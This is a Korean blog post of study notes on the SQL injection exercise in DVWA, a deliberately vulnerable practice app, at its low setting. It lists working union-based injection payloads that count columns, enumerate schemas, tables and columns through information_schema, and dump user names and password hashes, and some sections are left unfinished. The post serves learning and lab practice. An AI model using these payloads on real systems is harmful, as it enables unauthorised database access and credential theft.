해킹과 보안 동향/DVWA

dvwa. sql 인젝션 #7-1(low)

forgetissimo 2023. 5. 31. 23:40
728x90

sql인젝션이란?

https://choimungu.tistory.com/207

 

GH(NOB); SQL 인젝션

SQL 인젝션 공격이란? : 웹 애플리케이션에서 입력 받아 데이터베이스로 전달하는 정상적인 SQL 쿼리를 변조, 삽입하여 불법 로그인, DB 데이터 열람, 시스템 명령 실행 등을 수행하여 비정상적인

choimungu.tistory.com

 

  • union :  쿼리를 이용하여 한 쿼리의 결과를 다른 쿼리의 결과에 결합하여 공격하는 기법
  • error : DB쿼리에 대한 에러값을 기반으로 한 단계식 점진적으로 DB정보를 획득할 수 있는 방법
  • blind : 쿼리 결과의 참과 거짓을 통해 의도하지 않은 sql문을 실행함으로써 데이터베이스를 비정상적으로 공격하는 기법
  • time : 페이지의 응답이 어떻게 다른지에 대한 가시적인 피드백이 없을 때 사용되는 방법

 sql select문

SELECT 칼럼명 [ALIAS명]

FROM 테이블명

[WHERE 조건식]

[GROUP BY 칼럼이나 표현식]

[HAVING 그룹조건식]

[ORDER BY 칼럼이나 표현식 [ASC 또는 DESC]];

 

공격 실습)

 - userid에 1부터 5까지만 아이디와 이름이 있다.

 

 

 - view-source 코드의 쿼리문을 보면 싱글 쿼터로 id를 감싸고 있다.

select first_name, last_name From users where user_id = '$id';";

or die구문으로 query 불러오기가 실패할 경우 sql_error를 띄운다.

특수기호 우회 : ', ", /, --, +, ;, :, \, space 등..

싱글쿼터(')를 입력해보면 다음과 같은 에러가 나온다.

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1

1행의 문법 근처에서 ''''과 같은 에러가 나왔다는 뜻으로  user_id = '$id';";으로 있었던 문법에  user_id = ' ' ';"; 다음과 같이 id에 '가 들어가서 sql 쿼리를 감싸던 " 문법이 틀어진 것이다.

 

우회가능 문자들 : https://choimungu.tistory.com/214

select from user users where='id'

 - userid를 1을 삽입하여 userid는 1이 나오고 쿼리문에 맞춰 싱글쿼터(')를 입력한다. -> 1'

1=1로 무조건 참이 나오게 한 후 or 구문으로 결과를 참으로 만든다.

#으로 뒤는 전부 주석으로 만들었다.

user_id = '$id';"; => user_id = '1' 'or 1=1#  ';";

?이건 왜지

user_id = '$id';"; => user_id = ' '' ';";

union

 

union은 select * from table1 union select * from table2;로 2개의 테이블을 엮으며 각 테이블의 컬럼수가 같아야 한다. 아니면 오류발생

union으로 한개의 테이블을 보려면 하나의 테이블만 sql문을 작성하고 나머지는 주석처리하면 된다.

 

?id=a' UNION SELECT "text1", "text2";-- //이런 형식으로 컬럼 확인

 

 - 1' union select1#을 입력하면 컬럼수가 맞지 않다는 오류가 나온다.

The used SELECT statements have a different number of columns

1' union select1,1# 입력하면 해당 컬럼이 2개인 것을 확인할 수 있다.

 

order by절 이용해서 컬럼 갯수 알아내기

 : 조회된 데이터를 특정 칼럼을 기준으로 정렬해서 출력하는데 사용한다.

// ORDER BY 구문을 이용한 칼럼 갯수 알아내기  1' order by 2#

userid가 1인 

1' order by 3# 입력 시 오류가 발생하는데 없는 컬럼이거나 select된 컬럼이 아니여서 그렇다.

 

데이터베이스 명 조회

1' union select schema_name,1 from information_schema.schemata #

 

//dvwa 데이터베이스의 테이블 명 조회

1' union select table_schema, table_name from information_schema.tables where table_schema = 'dvwa' #

// users 테이블 칼럼 조회

1' union select table_name, column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users'#

 

1' union select user,password from users#

 - user

 

error

마무리 정리

 

Columm count doesn`t match value count at row 1

 

위 에러는 인덱스개수가 칼럼개수랑 안맞을 경우다

 

you have an error in your SQL Syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at Line 4

 

위 에러는 주로 따옴표를 안써서 그렇다

 

예를들면 WHERE절 같은데에서

 

[ WHERE 칼럼1=값 ]

 

이런식으로 보낸다면 될때도있지만 위와같은 에러를 뿜어낸다.

 

 

[ WHERE 칼럼1='값' ]

 

 

 

 

time

 

 

 

 

 - 참고

인프런 강의 화이트 해커가 되기 위한 8가지 기술

https://www.bugbountyclub.com/pentestgym/view/53

https://tggg23.tistory.com/61

https://velog.io/@jsw4215/DVWA%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-SQL-INJECTION-%EC%8B%A4%EC%8A%B5

https://www.beyondsecurity.com/

https://en.wikipedia.org/wiki/SQL_injection

https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/

https://www.invicti.com/learn/sql-injection-sqli/

https://portswigger.net/web-security/sql-injection/cheat-sheet

https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

https://owasp.org/www-community/attacks/SQL_Injection

https://bobby-tables.com/